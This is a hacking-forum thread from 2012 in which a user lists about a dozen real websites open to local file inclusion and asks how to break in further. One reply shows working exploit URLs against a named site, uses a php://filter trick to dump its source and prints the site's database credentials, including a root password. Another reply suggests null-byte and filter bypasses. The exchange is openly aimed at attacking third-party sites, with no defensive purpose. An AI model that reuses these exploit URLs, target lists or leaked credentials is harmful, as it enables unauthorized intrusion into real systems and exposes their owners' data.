

Forum:[Hack Forums](#)

Thread: [Local File Inclusion problem ..Plz hlp me masters](#)

albin - April 6, 2012, 9:49 pm

I have found some sties.. we can access /etc/passwd page but the problem is when I change path in to /proc/self/environ it shows

Warning: include_once(data//proc/self/envIRON) [function.include-once]: failed to open stream: No such file or directory in /hermes/waloraweb050/b1529/moo.dreisingeradmin/lib/content_class.php on line 10

Warning: include_once() [function.include]: Failed opening 'data//proc/self/environ' for inclusion (include_path='.:usr/local/lib/php-5.2.17/lib/php') in /hermes/waloraweb050/b1529/moo.dreisingeradmin/lib/content_class.php on line 10

I tried lot of sites and sincerely have not found..... Is it possible to hack a site if it don't have a /proc/self/environ page..?
then I go with this method <http://www.site.com/index.php?page=shell.php> but it is also not working.
Plz hlp me masters ?

These are the sites ..

<http://www.dayborodistrict.com.au/index.php?page=/etc/passwd>

<http://schumpeter2011.econ.tuwien.ac.at/index.php?page=/etc/passwd>

http://www.alinholding.com/index.php?page=/etc/passwd&page_title=home

http://diuf.unifr.ch/pai/education/2006_2007/ca/index.php?page=/etc/passwd&subpage=/etc/passwd

<http://lyantndc.cluster010.ovh.net/index.php?page=/etc/passwd>

<http://mspierphoto.com/index.php?page=/etc/passwd>

<http://www.tottenfarms.com/index.php?site=1&page=/etc/passwd>

<http://www.sohnidharti.tv/main/Urdu/index.php?page=/etc/passwd>

<http://www.crsfsite.net/main/index.php?page=/etc/passwd>

<http://www.expo-ingenieurs.be/index.php?lang=FR&page=/etc/passwd>

<http://www.lovium.nl/index.php?page=/etc/passwd>

<http://www.death-star.net/index.php?Page=/etc/passwd>

http://www.f-a-t.de/fat_v1/index.php?lang_id=2&page=/etc/passwd

Anyone help me plz i don't know what to do..

Hooded Robin - April 7, 2012, 3:01 am

You can check out some of my tutorials I have done if you are looking for some references. There are lots of LFI techniques you can try, never know which ones will work till you take a look, for example picking one out at random leads me to the following scenario:

Code <http://www.sohnidharti.tv/main/Urdu/index.php?page=/etc/passwd> = Y

<http://www.sohnidharti.tv/main/Urdu/index.php?page=/proc/self/envIRON = N>

http://www.sohnidharti.tv/main/Urdu/index.php?page=/proc/self/status = Y, FDSize: 32

http://www.sohnidharti.tv/main/Urdu/index.php?page=/proc/self/fd/2 = Y, Error Log, Straight URL only, dated Feb 2012 :(

http://www.sohnidharti.tv/main/Urdu/index.php?page=/proc/self/fd/7 = Y, Error Log, Straight URL only, dated Feb 2012 :(

<http://www.sohnidharti.tv/main/Urdu/index.php?page=/proc/self/fd/10> = Y, Possible SSH Log, Nov 2011 :(

<http://www.sohnidharti.tv/main/Urdu/index.php?page=php://filter/convert.base64-encode/resource=index.php> = Y

LFI on line 135-137:

```
<?php
include($page);
?>
```

The variable \$page is set previously on line 54-55 with some protection but not enough to prevent LFI:

```
$page=$_REQUEST['page'];
$page=trim($page);
```

Juicy File Referenced within index file: include("includes/connect.php")

<http://www.sohnidharti.tv/main/Urdu/index.php?page=php://filter/convert.base64-encode/resource=includes/connect.php>

```
<?php
/*$m_DatabaseName = 'sohnidha_sdtvdb';
$m_Server = 'localhost';
$m_Username = 'sohnidha_sduser';
$m_Password = 'far@123!';
$con=mysql_connect($m_Server,$m_Username,$m_Password) or
die("Could not connect: " . mysql_error());
mysql_select_db("sohnidha_sdtvdb");*/

$m_DatabaseName = 'sohnidha_sdtvdb';
$m_Server = 'localhost';
$m_Username = 'root';
$m_Password = 'NAV@123!';
$con=mysql_connect($m_Server,$m_Username,$m_Password) or
die("Could not connect: " . mysql_error());
mysql_select_db("sohnidha_sdtvdb");
?>?
```

Enjoy! ?

albin - April 7, 2012, 11:18 pm

Robin thanks...your reply is useful and little hard to understand.. i referred your tutorials n blog. I hope that you Will post more tutorials about LFI.

VipVince - April 8, 2012, 3:35 am

Try adding a null byte after it. Can work sometimes. Or PHP Filter method.